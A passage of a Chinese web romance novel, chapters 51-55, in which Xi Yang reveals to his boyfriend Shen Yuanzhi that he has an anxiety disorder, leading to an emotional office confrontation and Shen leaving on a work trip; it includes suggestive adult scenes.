席殃闻言呼吸一重:“好好说话。”
“哼。”沈垣之不说了。
“总说我欺负你,”席殃压着声音一下下亲他:“你也不反思下自己,尽说些招人的话。”
沈垣之横眉冷对:“那是你定力不够,我嘴上说说而已,谁让你当真。”
席殃被怼得哑口无言,只好亲得狠了些。
沈垣之知道他不会乱来,也配合着让他亲,该说不说亲亲真的很奇妙,沈垣之简直要把它列入最喜欢做的事之首了。
不带情欲的亲亲是喜爱,是安抚,染上了情欲的亲亲又不一般,是掠夺,更是激情前的预兆,唇齿交融,毫无保留的爱意。
沈垣之怀疑自己得了亲亲饥渴症,只有席殃才能让他缓解。
一吻毕,沈垣之咂巴咂巴嘴,很敏锐道:“为什么你嘴巴有点苦,像是药味?”
席殃目光微怔,亲了他一下:“吃了药。”
“什么药?”
席殃面不改色地勾了一下唇,凑在他耳边,故意压低了声音:“治肾虚的。”
沈垣之啧了声:“到底?”
“治头疼的。”席殃低声道:“这几天有点睡不着。”
“嗯?”沈垣之丝毫没有察觉,心沉了沉:“怎么不跟我说?”
席殃安抚道:“就这两天,不严重。”
沈垣之还是皱眉:“药是什么时候买的?”
席殃语气一顿:“常备药。”
为什么是常备药?
是这几天睡不着还是长期睡不着?
沈垣之有很多话想问,但是在对上席殃平静的视线时,他睫毛一垂,很快凑过去亲了席殃一下:“现在好些了吗?”
“嗯。”难得有些示弱,席殃将他的手放在了自己的头上:“揉揉。”
沈垣之眼眸划过一丝温柔,手很轻,但嘴上不饶人,学着席殃的之前的话:“黏人精。”
席殃笑了笑没否认。
“睡觉吗?”沈垣之替他揉了揉头,声音罕见地温柔,“等你睡着我就不揉了。”
席殃将他的手握了下来:“睡。”
“不揉了?”沈垣之问。
“嗯。”轻轻给他按摩发酸的指腹,席殃蹭了蹭他的脸:“手累。”
沈垣之轻笑了声:“那我给你讲个睡前故事?”
被当成小朋友哄,席殃很快笑出了声:“好。”
“那我要开始说了,”沈垣之清了下嗓子:“在此之前,我要给你唱一首歌。”
席殃“嗯?”了声:“什么歌?”
“唱了你就知道了。”沈垣之笑了一下:“我要开始了。”
席殃配合道:“洗耳恭听。”
“‘袋鼠妈妈袋鼠妈妈有个袋袋,袋袋就是为了为了保护乖乖。’”
黑夜里,沈垣之的声音很轻,又像是浸了糖的甜蜜,席殃直勾勾地盯着他,满心满眼都是他。
唱完这句,沈垣之就停了。
“没了?”席殃诧异道。
“嗯,”沈垣之双手捧起他的脸,眼眸噙着笑:“没了。”
席殃低笑了声:“好吧。”
“为什么唱这个歌?”席殃纵着沈垣之,让他捧着自己的脸,眼眸里的笑意藏不住:“你是袋鼠妈妈吗?”
沈垣之挑了一下眉:“我不是。”
没等席殃说话,他很快低头亲了下去:“但你是我的乖乖。”
第52章 第 52 章 “他就是变态了点。”……
乖乖席殃没睡着。
反倒是要哄他入睡的人因太疲惫而悄无声息睡了过去, 月色朦胧,怀里传来的呼吸声均匀,席殃慢慢地睁开了眼。
沈垣之睡得很熟, 薄薄的眼皮耸拉着,直又长的睫毛落下一片阴影,月光落在他洁白无瑕的脸上衬得他既清秀又稚气。
席殃眼眸一沉, 低头亲了亲他的眼皮,区别于往日里的温柔,眼底露出几分偏执。
将怀里人搂得更紧了些,席殃像一株生活在阴暗里的树根汲取养分般在沈垣之脖颈处深深吸了一口, 闻着和他相同但更加甜腻的味道, 席殃眼眸更沉了。
想把沈垣之弄醒,想让他陪自己说话,想那双眼睛时时刻刻最好都有他。
万籁俱寂的夜里,席殃目不转睛看着怀里的人, 心里的想法一个比一个更阴郁,许是盯得太久,或者是眼神太过灼热, 沈垣之嘴里嘟囔了句什么, 眼皮都没动, 只是下意识凑过来亲了亲他。
温热的触感像是强力抚慰剂, 席殃睫毛一垂, 再次抬眼时心里什么龌龊的想法都没有了,眼眸也恢复了平静。
他轻轻亲了亲沈垣之的脸,片刻后,小心翼翼起了身。
客厅里只开了盏呼吸灯,这几天太阳大露水少, 大阳台的小植物们被收了回来都摆在窗台前,席殃看了几眼、随后在茶几旁摸了一包烟出来,从中挑了一支烟,低头咬在唇边,回头看了眼紧闭的卧室后,他点燃烟径直走向了阳台。
站在栏杆旁,席殃眯着眼打通了一个电话。
电话那头很快就接了。
“哟,这是谁啊?”对方操着不太流利的普通话,声音里噙着几分阴阳怪气:“回国这么多天都没个电话我以为你忘了我这号人了呢。”
“erin。”不想和他说些有的没的,席殃深吸了一口烟,语气很淡:“我有事和你说。”
“什么事?”对面严肃了些。
“我睡不着,”没有拐弯抹角,席殃直说道:“这几天怎么也睡不着。”
erin沉默了一会儿:“吃药也不管用?”
“不太管用,”席殃抽了一口烟:“睡得很不踏实,总觉得心空荡荡的。”
“那就奇怪了,”erin那边传来翻书的声音:“你都多久没失眠了,最近有没有让你情绪起伏的事?”
席殃咬了下烟蒂,像是想到了什么,眼眸变得温柔了起来:“我和他在一起了,和这个有影响吗?”
erin先是沉默几秒,然后惊呼道:“真的假的?你真和那位在一起了?”
碎发被风吹起,席殃“嗯”了声。
“那真是太好了,你想这天想了那么久,真是替你开心,”erin由衷地祝福他,随后回答道:“肯定是有影响的。”
“可能是太过兴奋情绪失衡才导致失眠,”erin分析道:“你最近能不能抽空回来做一下检查,让我了解你目前的心理状况?”
席殃沉默了两秒:“再说吧,我现在抽不开身。”
“那也行,反正你的问题不是一天两天能解决的,”erin并不强求:“失眠是正常的,你要试着调节下心情,尽量让自己平静下来。”
席殃吐了口烟圈,很淡地应了声。
“如果你的情绪一直保持兴奋倒也还好,”erin说:“起伏太大你要及时和我联系。”
席殃沉默了两秒:“情绪也还稳定,就是时刻想和他说话……”
“你知道这样的感觉吗?”
沉默之际,席殃按熄了烟头:“很像我在读博写论文时,明明好不容易有个周末,但我怎么也休息不了,宁愿干坐着数时间也不愿意睡觉。”
“总觉得一睁眼就要修改论文。”
“我现在就有这样的感觉,我珍惜和他在一起的每分每秒,觉得连睡觉都是在浪费时间。”
“你又开始焦虑了。”erin打断道:“不要给自己心理暗示。”
“他知道吗?”
沉默了一会儿,erin又问:“如果可以的话,你要让他知道。”
“没找到合适的机会。”席殃声音很沉。
“什么是合适的机会?”erin直话直说:“你就是想藏。但你情绪怎么样他一定会很清楚,除非他不喜欢你。”
席殃闻言笑了一下:“他喜欢我。”
erin:“……”
“别说了,我从来没见过你这样,”erin鸡皮疙瘩落了一地,他想了一句俗语,艰难道:“和你说东你说西。”
席殃又笑了一下。
“药要继续吃。”erin总结道:“但你要让他知道,故意隐瞒病情对他很不公平,而且如果你实话实说,他说不定会更喜欢你。”
“我没想拿我的病卖惨,”席殃笑容很快淡了下来,他严肃道:“还有,他已经很喜欢我了。”
“那你就不要再顾虑了,”erin比他更严肃:“我是站在朋友的角度和你说这些话,他很喜欢你的话,一定能接受不完美的你……”
没一句他爱听的,没等erin说完,席殃就挂了电话。
erin很快就气急败坏地传来短信,席殃没看,他站在阳台很久,直到晚风吹散了他身上的烟味才往回走。
推开卧室门,沈垣之闭着眼,两条笔直的长腿胡乱搭着,头埋在被子里,睡得东倒西歪。
席殃一看就笑了。
什么焦虑,什么失眠,在看到沈垣之那刻全都挥之脑后,其实没什么,他就是变态了点,想一直操//男朋友而已有什么错。
眼眸一沉,席殃重新爬回了床上。
他小心又克制地在沈垣之身上留下一点又一点痕迹,连小腿肚都没放过,吻到熟睡中的沈垣之不耐烦,稀里糊涂伸手给了他一巴掌之后,席殃立马就老实了。
将人搂在怀里,席殃在天亮之前终于睡了过去。
沈垣之一晚睡得惊心动魄。
先是做梦被老虎咬,又是做梦被巨蟒缠,等他彻底被闹钟叫醒时心脏都麻了,几乎喘不过气来,他缓了半天才发现自己被席殃紧紧搂在怀里。
看了眼时间还早,沈垣之调整了下姿势,继续闭着眼缩在了席殃的怀里,没睡一会儿他就闻到席殃身上传来淡淡的烟味。
不难闻,但是很奇怪。
昨天睡觉前还没有的。
猛地清醒,沈垣之睁开了眼,他凑近又嗅了嗅,确定这是烟味后眉头皱了起来。
昨天他讲完故事后以为席殃睡着了,这才稀里糊涂的睡了过去,结果他压根就没睡着。
想到席殃说的头疼药,沈垣之眉头皱得更深了。
他看着席殃的睡颜,即使是在梦里眉头依旧皱得很紧嘴唇也紧绷着,怎么看都不是个舒适的睡眠模式,昨天压在心里的问题再次卷土重来。
沈垣之眨了一下眼。
他本来是想等席殃主动,慢慢的说出口,可现在他等不下去了,他迫切想要知道席殃以前到底发生了什么事,为什么会影响到头疼。
而且,头疼药真的是头疼药吗?
心里冒出的这个想法让沈垣之下意识放慢了呼吸,他想起身去看药瓶,结果刚一动,席殃就将他抱得更紧了。
沈垣之被搂得喘不过气,没等他小幅度挣扎,席殃就睁开了眼,双目对视,他有些茫然,下意识喊了声“小圆。”
沈垣之心一下就软了,放轻声音“嗯”了声:“早。”
席殃回过神来,手臂松开了些,轻声道:“宝宝早。”
“饿了吗?”他有些疲乏地坐了起来:“想吃什么?”
沈垣之盯着席殃看了一会儿,目光落在他眼下的黑眼圈上,眸光沉了沉:“没饿。”
“嗯?”席殃摸了摸他的肚子:“真的假的?”
“真的。”沈垣之被他摸得一激灵,往后弓了一下,小声哼哼:“不饿。”
席殃闻言往床上一倒,又将人搂在怀里,声音很轻:“宝宝乖,那陪我再睡会儿。”
沈垣之任他抱着。
看着席殃慢慢入睡,等到他呼吸彻底均匀,沈垣之这才小心翼翼下了床,出了卧室,他皱着眉找了一圈都没有找到席殃说的止疼药。
反倒是他放在茶几上烟盒里的烟少了一根。
沈垣之看向卧室,心沉了一下。
席殃有心瞒他,药瓶肯定是找不到的,沈垣之也不白费这个力气,他沉默的走进浴室,温热的水淋下,沈垣之思绪和水一样剪不断。
他想直接开口问,又担心席殃不愿意说。
不问,他心里头又记挂着。
沈垣之无力地叹了口气,一时间不知道该怎么办,或许是太在意了所以才小心翼翼,估计席殃和他也是一样,瞻前顾后,总担心有的没的。
该怎么办?
沈垣之洗着洗着突然瞟向了浴室里的落地镜,不久前他还和席殃在这干过那档子事,本来是不太好意思看的,只是镜子里的他几乎全身上下没一块好地方。
除了脖子,能看到的部位密密麻麻全是吻痕。
明明昨天睡觉时还没有。
沈垣之一愣。
不可置信地看了好几眼,确定身上全是痕迹后,他眼眸沉了沉,席殃晚上不睡觉原来光是来折腾他了。
还知道他要见人,脖子没亲。
沈垣之都快气笑了,随后又很快安心下来。
好在只是偷亲他,偷亲完就睡着了,这样看来也不算严重,沈垣之松了一口气。
不过他虽然长这么大只和席殃谈过恋爱,但也知道这大概是不太正常的,思来想后,沈垣之决定和恋爱经验比较多的薄言探讨学习一下。
将事情经过仔细给薄言发过去后,薄言很快回了消息。
【薄言:变态,这男的要变态了,让他滚,和他分手,你现在在哪,我来接你。】
【沈垣之:你别这样说他,他只是太喜欢我了。】
【薄言:……死恋爱脑,没出息的东西。】
沈垣之皱眉。
【沈垣之:你再骂?】
薄言立马滑跪。
【薄言:他要走火入魔了,晾他两天试试。】
沈垣之沉默了一下。
【沈垣之:两天太久。】
薄言这次沉默了好久。
【薄言:你也滚。】
第53章 第 53 章 “过来抱抱。”……
晾着席殃的事沈垣之做不到。
两人如今正值热恋期, 沈垣之虽然表面勉强可以控制一下,实则眼皮子都恨不得黏在席殃身上,半分钟不说话他都嫌久, 更别说两天了——
他舍不得。
沈垣之的眉头轻轻皱了皱。
除了席殃他这辈子没和谁谈过恋爱,也从没注意过别人是怎么谈的恋爱,不知道别人是不是也像他这样黏人又患得患失。
生气席殃瞒着他。
但这股气沈垣之不想对席殃发, 他想找个机会好好跟席殃谈谈,要是席殃不肯说的话,沈垣之顿了顿,那他再想想办法。
总之是不能晾着他的。
想到这, 沈垣之眉头展开了些。
不过心情还是不可避免地受到了影响, 洗漱完后沈垣之垂着眸擦了擦满身痕迹的身体,围着浴巾走出了浴室。
走向客厅时他脚步故意放轻了些,推开卧室门,席殃罕见地还在床上睡着, 昨晚没拉窗纱,此时几缕晨阳落了进来,恰好洒在他的脸上、身上。
席殃的睫毛很长, 皮肤白, 眼皮被光照得很薄, 鼻梁挺而直, 睡着时眉头皱着, 唇也抿得很紧,五官很立体,显得有些严肃。
宽厚的后背肌肉线条清晰,胳膊有他两个粗,但又不太过分, 很匀称,全身上下都很漂亮,沈垣之一看什么脾气都没了。
心里边叹道,真是美色误人,边默不作声地爬上了床。
他刚上床,席殃的手就自动搭上了他的腰,眼皮都没抬一下,闻着他身上的味儿就将搂在了怀里,蹭蹭他的脸,用还没睡醒的语气说话:“洗澡了?”
“嗯。”心里有气,沈垣之咬了下他的喉结,想了想,又安抚地用舌头舔了舔:“时间还早,你再睡会儿。”
席殃埋在沈垣之颈窝深吸了一口,没说话,可能是太累,呼吸没一会儿就均匀了。沈垣之被他头发戳得心里直发软,眼眸一沉,他垂头亲了亲席殃的额头,将手机调成静音后点开了微信。
给黎炫发去每日报告,确定今天代办事宜,沈垣之压下心里的情绪,抱着席殃又玩起了开心消消乐,他心不在焉,玩了几把就没精力了。
席殃在他怀里睡得很熟,沈垣之把手机扔在一旁后盯着看了许久,看到席殃眨了眨眼睛,看到席殃凑过来亲他:“我好看吧。”
沈垣之一愣,很快也跟着笑了:“还可以。”
“你就图我好看,”席殃搂着他叹了口气:“高中我就看出来了。”
“谁说的,你高中长得就一般,”沈垣之口是心非道,像是想到了什么,他语气一顿:“那谁比你长得更好看。”
“谁?”席殃眯了眯眼。
沈垣之不说话。
席殃皱皱眉,声音低哑:“谁啊?”
“想知道?”
“嗯。”
“那你说件事跟我交换。”
话刚落音,席殃顿了一下:“你想知道什么?”
认真地看着席殃近在咫尺的眼睛,沈垣之搂紧了他的脖子,声音很轻:“你知道的。”
席殃眼眸一沉。
沉默片刻后像是想到了什么,他艰难地开了口:“这几天我睡不太着,难受。”
他的声音很哑,听得沈垣之心颤了一下。
“为什么会睡不着?”
席殃没说话,盯着他看。
“因为我?”沈垣之不确定地哼了声,故意开玩笑道:“我要太多次了?”
“累着你了?”
“不累,”席殃闻言立马笑了,牵着沈垣之的手向下摸:“我现在还能再干//你。”
沈垣之被烫得缩回了手,他很轻地勾了一下唇,双目对视,两人间的气氛轻快了不少,但沈垣之却开心不起来:“为什么会睡不着,什么时候开始的?”
席殃眼眸垂了垂:“就前几天。”
“前几天是哪几天?”沈垣之不依不饶地问。
“给我点奖励,”席殃眼眸一沉,他转移话题:“哄哄我就说。”
刚睡醒的声音有些低哑,他说话又故意撒娇。
沈垣之受不了他这样,心里想着他怎么这么可爱,简直快被他迷死了,没多想,二话不说就钻被子里去了。
刚洗完漱,嘴巴冰冰凉凉的。
席殃只是胡说一通,没想沈垣之真给他奖励,他从没让沈垣之这样弄过,一是觉得没必要,二是不舍得。
这些事他可以心甘情愿地给沈垣之做,沈垣之想怎么样都可以,反过来席殃却不想,但沈垣之真这样弄他,他却舒服得受不了了。
暗骂自己不是个东西。
看着起伏不断的被子,感受着舌尖的触动,席殃在被子里双手捧着沈垣之的脸,仰起脖子叹了口气。
嘴唇是软的,舌尖生疏却认真。
本迟疑的心就这样一点点被熨平,席殃没让他再继续,小心翼翼将人拉了出来,唇很快落了下来。
沈垣之眼尾还红着,喉咙还疼,可被席殃亲了亲立马就好了,一吻毕两人双目对视,席殃眼眸一沉,又凑过来亲了亲他,凶他:“胡闹。”
沈垣之挑眉:“你不喜欢?”
摸了摸他嫣红的嘴唇,席殃摇摇头:“不想让你不舒服。”沈垣之伸出舌头舔了一下他的指尖,眼尾还噙着泪:“可是我很舒服,我喜欢你的味道。”
席殃眼眸猛地一沉,不说话了。
“算不算哄你了?”
沉默片刻,席殃叹了口气:“算。”
“那你说。”沈垣之认真看他。
“就是睡不着,想无时无刻看着你,”席殃直勾勾地看着他,声音很哑:“不想睡觉,想死在你身上,想住你里面,想操//死你。”
话刚落音,沈垣之的心猛地颤了一下。
“害怕了?”
沈垣之摇摇头:“我也想被你弄。”
没想到是这样的反应,席殃愣了一下,片刻后他眼眸一沉,呼吸都重了几分。
没等他说话,沈垣之又开口:“我就在这,你想怎么弄都行,但你得睡觉,不睡觉怎么有劲弄我?”
席殃一时哑口无言。
“你昨晚吃得不是头疼药吧?”沈垣之语气一顿:“安眠药?还是别的?”
席殃扭过头去,不说话了。
沈垣之见状有些意外地挑了一下眉,意识到席殃可能是在撒娇,心里既新奇又心疼,有些绷不住笑地凑了过去。
席殃将头埋在被子里,只留下一双眼。
眼里满是落寞。
沈垣之见状唇猛地压了下来,他心一酸,声音不受控制地放轻了些:“好了,我不问……”
“抗焦虑的。”席殃打断他。
沈垣之脸色一沉。
“我有焦虑症。”
——
“沈助,沈助?”
“你在听吗?”
天色将晚,耳边突然传来助理小琪的声音,回过神来的沈垣之不动声色将停留在搜索界面的电脑屏幕按了熄屏,他揉了揉发酸的眼皮,应了声:“怎么了?”
小琪拿着文件愣了一下,再次重复道:“这个文件需要你签名。”
沈垣之接过,他点点头:“好。”
说完他下意识看向不远处的办公室门,语气一顿,立马站起了身:“席总出去了?”
小琪顺着看了过去:“没有啊,我刚刚还看……”
没等她说完,沈垣之很快走了出去,他脚步飞快,几乎是用跑的,没等他走到席殃的办公室,便听到了一道熟悉的声音。
循声望去,席殃站在不远处的休息区,正背对着他在接电话。
沈垣之很快松了一口气。
早上席殃说完那句话后两人很快陷入了沉默,一是沈垣之压根就没想到,二是席殃也没做好准备说出来。
两人都需要时间来消化。
焦虑症。
沈垣之花了很长的时间搜索,了解这个专有名词,情绪波动,失眠,心悸,突然失落,他实在难以将这些症状和席殃联系在一起。
可回想之前种种,开车时席殃心悸,情绪波动,这几天频繁失眠,还有席殃在H市说的那些看似玩笑的话,一切又偏偏有迹可循。
沈垣之心沉得厉害,压得他几乎快喘不过气。
他知道席殃可能在挪威过得不开心,但没想到他会因此患病,明明这段时间只要他开口问,席殃就会说,可他畏手畏脚,总想席殃主动。
可当席殃真主动说了,他又不知道该如何安慰。
沉默之际,手机突然震动了一下。
是黎炫打来的电话。
沈垣之看了眼席殃的背影,犹豫片刻后回了办公室,黎炫打电话过来让他临时去一下新工厂,说消防检查出了问题。
已临近下班时间,沈垣之皱了皱眉。
今天和席殃约好了要去接小猫的。
虽然他们一天都没说话了。
一想到这,沈垣之心立马就沉了下来。
黎炫说明来意后就挂了电话,沈垣之盯着屏幕沉默了许久,他心里难受得厉害。
“叩叩。”
沉默之际,门突然被敲响了。
沈垣之很快望过去,在看到来人的那刻,他愣了愣。
席殃走了进来,顺便带上了门。
诺大的办公室只剩下两人。
双目对视,席殃没什么表情地看他,沈垣之心一顿,后背开始发凉,霎时间,谁都没有先开口。
脚步一顿,席殃突然停在离他不远处,隔着十几米的距离,是这几天里离他最远的距离。
盯着席殃的鞋,沈垣之眼尾一酸。
压抑了一天的情绪因为这段距离而翻涌起来,沈垣之后背一麻,喉咙像灌了沙一般疼痛,他想说些什么,但没等他开口,席殃叹了口气。
声音很轻,落在沈垣之心头却万般重。
他晾了席殃一整天,虽然不是他情愿的,可在得知席殃有焦虑症后,他竟然晾了他一整天。
“吓到你了吧。”
沉默之际,席殃突然开口。
沈垣之一愣,他下意识抬头看去,只见席殃朝他张开了双手:“过来抱抱。”
第54章 第 54 章 “就只是为了泄//欲吗……
没等沈垣之反应过来, 席殃很快将他搂在了怀里,拥抱之际,鼻息间全是熟悉的味道, 隐隐约约还有一股挥之不去的烟草味。
不知道抽了多少根烟。
沈垣之抿着唇,下意识伸手将人抓紧了些。
感受到衣角被拽,席殃一愣, 随后叹了口气:“好了好了,呼噜呼噜毛,吓不着我的宝宝。”
被一下下摸着后背,沈垣之没说话。
“我看看, ”故意逗着人, 席殃低笑一声,伸手抬了抬他的下巴,沈垣之顺着力度昂起了头,红着的眼尾落入了席殃眼里。
噙着似笑非笑的温柔, 席殃垂眸看他:“哭了呀?”
一听席殃这样的语气,沈垣之压在心里一天的情绪立马翻涌了起来,移开视线, 他眨着眼睛小幅度挣扎了下, 低声道:“没有。”
席殃看着他没说话。
他眼眸里闪动着平静, 温柔还有很淡的笑意, 可沈垣之偏偏在其中看出几分落寞, 心一颤,也不在乎会不会被人看见,不在乎现在是在哪里,他主动抱了过去。
席殃一愣。
正是下班的时候,隔着一扇门昔日的同事都在往外走, 脚步声不断,刻意压低的谈笑声也隐约传来。
可这些沈垣之仿佛都听不到,或者说压根就不在乎,他将头埋在了席殃怀里,声音很低,细听时像是在哽咽:“你好点了没有?”
说的前言不搭后语,可席殃偏偏懂。
“好多了,祖宗。”
“都是很久之前的事了,”强调着说了几次好多了,席殃摩挲着他的脸庞,压着声音哄他:“我药都好久没吃了。”
“你昨晚还吃了。”
沈垣之红着眼抬头看他。
“就吃这么一回,”低头亲了亲他的眼尾,席殃心口一酸,低笑道:“谁知道和你亲个嘴就被你发现。”
沈垣之扭过头不让他亲。
“不让亲?”
钳着他的下巴,席殃眼眸沉了沉:“一整天都不和我说话,现在还不让我亲,怎么,是想和我分手了?”
“没有!”
心一颤,沈垣之连忙否认。
抬头望去,见席殃唇边噙着笑,沈垣之一愣,火气一下就上来了:“你少转移话题,我什么时候说要和你分手了。”
说着说着,本来就愧疚的沈垣之眼圈突然一红,声音立马就染上了哭腔:“我哪知道……”
“我哪知道你生病了。”
“我一下没反应过来而已,”越想越难过,沈垣之鼻尖一酸,眼泪二话不说就落了下来:“谁说要和你分手了?”
见他真哭了,席殃脸色一变,连忙弯着腰替他擦眼泪,手忙脚乱地哄道:“我胡说的,你别哭。”
沈垣之不想让他碰,可一想到他刚刚说的话便不再动了,任由席殃替他擦眼泪。
他哭起来没声音,光抽噎。
平时从不掉眼泪,在床上被欺负狠了也不哭,再怎么被欺负也只是哼哼,要是真掉眼泪了那就是被彻底逼急了,被逼坏了,这会儿眼泪汪汪的,睫毛一眨下巴尖儿都挂上了泪。
他本来长得就好看,一哭起来更是说不出的让人心疼,外面都是同事,这里是他平时办公的地方,身上穿着西装,禁欲得不行,偏偏眼泪流个不停。
席殃擦着擦着呼吸就重了,低声骂了句脏话,沈垣之有些意外地一愣,以为是在骂他,嘴轻轻一撇又要流眼泪。
席殃就在这个时候亲下来的。
沈垣之身后是办公桌,身前是席殃,下巴尖儿被捏着,嘴巴被吻开了,带着烟草味的舌尖毫不留情地肆虐他的口腔,苦涩的味道瞬间就占据了空荡荡的心,沈垣之浑身发着微颤,不知道是被亲的还是哭的。
不知道什么时候被抱着坐上了办公桌,西装外套被脱的时候沈垣之还是懵的,直到隔着衣服被顶了一下,他才回过神来。
“你……”难以置信席殃这个时候还能想这档子事,沈垣之木着脸扯了下外套,一时哑口无言。
见他一副被欺负狠了的样子,席殃很快笑出了声,他眼眸噙着温柔,手撑在沈垣之身体两侧弯腰用力亲了亲他的眼泪,声音有些哑:“再哭就在这弄你。”
沈垣之皱眉。
“好了。”席殃亲了亲他的眉心,用手擦掉了他的眼泪,温热的指腹轻轻点了点他的鼻尖,语气一顿:“是不是哭出鼻涕了,我看看……”
“你走开。”沈垣之被他逗笑了。
席殃很快松了口气。
声音很小,但沈垣之听到了,他没抬头,就着这个别扭的姿势缩进了席殃怀里。
办公室外同事走的差不多了,过廊灯也很贴心的被关上,头顶的吊灯发着温暖的光线,两人拥抱着,皆是沉默不语,在这方小小天地汲取着彼此的温暖。
不知道过了多久,沈垣之的心终于平静了下来,他将席殃搂得紧了些,感受到他暗暗在施加力度,席殃有些无奈地低笑了声:“现在这么大力气,刚刚怎么一亲你浑身就软了?”
沈垣之不说话。
“好了,”席殃摸着他的后背哄小孩那样轻轻安抚着:“别哭了,我要心疼死了。”
沈垣之还是不说话。
“你看你,不跟说你生气,”拉开一段距离,席殃弯下了腰,双臂撑在沈垣之身体两侧,有些无奈道:“说了你又难过。”
沈垣之抬头很快看了过来:“为什么?”
他语气认真,眼眸里没有一丝笑意。
收起笑容,席殃的眼睛静静地落在沈垣之身上,片刻后,他很快妥协地叹了口气:“有很多原因,最主要的是因为论文写不明白。”
有些意外地,沈垣之愣了愣。
回想往事,席殃的声音放低了些:“那时候压力大,博士论文和本科论文很不一样,我尝试了很多次但每次都因各种原因被打回,导师也不愿意和我多沟通……”
“当时又和Homestay闹了矛盾,重新找房,手里资金不够又面临延毕,甚至只是因为那里常常下雪而已等等这一系列原因就让我有些焦虑。”
席殃语气一顿,用很不在意的口吻笑了笑:“等我发现的时候,就立马申请了退学。”
“你是怎么发现的?”
话刚落音,沈垣之脸色一变,冷着脸抓着席殃的袖子往上拉,席殃一愣,明白过来后顿时有些哭笑不得:“小圆,我没自//残。”
“那你是怎么发现的?!”沈垣之突然提高了声音:“为什么不早点回来,你就非得待在挪威吗?!”
“就你会心疼人,那我呢?”沈垣之眼睛一红:“我在你心里就是铁石心肠不会心疼人对吧?”
“我没有……”
“那你为什么现在才说。”
席殃沉默两秒:“不想你心疼我。”
沈垣之一愣。
空气瞬间凝结了下来。
“小圆,”席殃见他脸色不对劲,很快解释道:“我没你想的那么严重,这些都是我的问题,是我自己的……”
“席殃你要敢说是你自己的事我一定会和你分手。”
席殃语气一顿。
“你要男朋友干什么?”沈垣之声音带着颤:“就只是为了泄//欲吗?”
“你别胡说。”
“那你说是为了什么?”沈垣之红着眼圈看他:“还是你觉得我只能被你保护,陪你开心,至于其他的我全都没资格参与,没资格管?”
压抑许久的情绪在此刻轰然爆发。
沈垣之直勾勾盯着他:“以前你说分开就分开,想回来就回来,你不就仗着我喜欢你?现在你还敢这样,还敢把我撇的干干净净。”
“席殃,”语气一顿,沈垣之红着眼看他:“你压根就不想和我有个家。”
话刚落音,沈垣之立马就收好了表情,伸手将席殃推远了些,木着脸收拾要出差的行李。
席殃见他将一份份资料放进公文包,心沉得听不到回响,他试图阻止:“我真的想和你一个家,我没有想撇开你,很多事情我都试着慢慢跟你说了,我只是想要你开心点,不要因为我的事……”
“我知道你尝试改变了,但还不够,”沈垣之将公文包扣上,他低着头声音很哑:“我要你把所有的脆弱,所有的不堪全摆在我面前,我要你以后一遇到事就想到我,无论是好的坏的,全都要跟我说。”
“你要是做不到。”沈垣之稍抬眼皮,声音很决绝:“那我们干脆就不要在一起了。”
席殃眼眸一颤。
“给你一晚上时间考虑清楚,”沈垣之低头看了眼手表:“我现在要出差,今晚不回来。”
“不行,”席殃想也没想就握住了他的手腕。
“为什么不行?”沈垣之直勾勾地盯着他。
“你现在不能开车。”
沈垣之将唇抿得很紧,他什么话都没说,席殃知道这不是他想听的,有些话快要呼之欲出,但话到嘴边还是说不了口。
掩饰着眼热,沈垣之移开了视线。
他收回了被席殃握住的手,沉默着回了黎炫的微信,随后很快提着公文包往门口走去,席殃见状立马叫住了他:“小圆。”
沈垣之当作没听到,离开的脚步没有停下。
第55章 第 55 章 “想让你心疼我。”……
夜晚风凉。
晴了快一周的天空在此刻下起了雨, 连绵不断和不远处的红灯交织着,在眼前形成雾蒙蒙的一片红。
沈垣之盯着不断跳跃的数字渐渐出神,唇齿间咬着一根点燃的烟, 苦涩的尼古丁充斥着身体里每个震耳欲聋的神经,可心却是空落落的,像是转瞬即逝的一缕烟, 怎么也抓不住、填不满。
绿灯亮起,没有情绪波动的导航女声提醒着变换路线,沈垣之很快回过神来,将烟按熄后他跟随导航上了高速。
离开市区, 光线就暗了许多, 车内没开灯,沈垣之僵直的后背在无言的黑暗里放松了下来,望着一望无际的前路,沈垣之将唇抿得很紧。
黑暗里手机屏幕上时而跳动着消息, 一明一暗照在他的眼睫处,随着车身起伏映得沈垣之眼窝深了几分。
屏幕上显示席殃发来的微信消息,让他开车小心, 似乎又说了其他的什么, 可刚哭过的眼睛很涩, 很疼, 沈垣之瞟了几眼后就没看了。
他还生着气, 没心情。
气自己气席殃气一些有的没的,总之看什么都不顺眼,这股不顺眼里参杂着积累了陈年久远的情绪,逼得人非要大喊一声发泄出来才能好。
沈垣之盯着前路,腾出手又拿出一支烟来。
没点燃, 就细细的咬着,只有这样才能勉强压下他心里浮躁的情绪,混乱的思绪里抓不到解决问题的方法,又或许抓到了,只是沈垣之不愿意那样去做而已。
没意义。
席殃让他不生气的办法有很多,亲吻,拥抱,甚至只是软下声音和他说话就可以,他们可以当作什么都没发生,又或者是像之前那样用最温和的方式来解决问题。
可这些都不是沈垣之想要的。
尽管席殃在他面前没有隐瞒,一五一十地说出了他患病真相,但这还不够——
到底是哪里不够。
咬着烟蒂的齿牙松了松,沈垣之将眉头蹙得很紧,随后又很快松开。
想不明白。
深吸了一口气,沈垣之眼眸冷了下来,压下心底再次泛起无数的情绪,索性不再去想。
到达新工厂是在一个小时后。
工厂负责人早在门口等着了,天空下着小雨,他没打伞,灯光照在脸上时看得出他十分窘迫。
上次沈垣之来这还是前天,专门提醒过接到他的同事排沟渠需要清理,没想到他前脚刚走,消防就查到了这儿。
显然是没把他的话放在心上。
如今又做出下雨不打伞这样的举动,不排除是因为自己心情不好,沈垣之心里有些反感,将车停在了专用停车棚,调整好表情,他打着伞下了车。
工厂负责人瞄了许久的后座,见来的只有他一个人来,很快松了一口气,上前喊了声沈助。
沈垣之眼皮轻轻抬了一下:“嗯。”
工厂负责人知道这位沈助理的脾气,大概他们都是从底层爬上来的人,很多时候都会互相理解,不会过分苛责。
这次的消防问题实在是个意外。
这几天他老婆刚在医院生了二胎,谢天谢地是个女儿,他想着请假回去陪陪老婆和孩子,没想到他前脚刚走后脚公司就派了沈助过来。
当时他没在,临时负责人又是个马大哈,交代他做的事估计是忙忘记了,等他一通电话打过来时才知道出了事。
着急忙慌地从医院赶来,一路上琢磨着怎么交代,他连个伞都没来得及拿。
沈垣之不知道他心里在想什么,虽然心情不是很好,但见雨水落在他身上,还是冷着脸将伞往他那边偏了偏:“怎么回事?”
工厂负责人有些受宠若惊,对上那双没什么情绪的眼眸时很快回过神来:“靠近仓库后面一点的沟渠没来得及清理。”
沈垣之脚步一顿,看了他一眼。
工厂负责人被他这一眼看得头皮直发麻,他喉咙一紧,替他按了直达电梯:“消防大队那边说过几天会重新……”
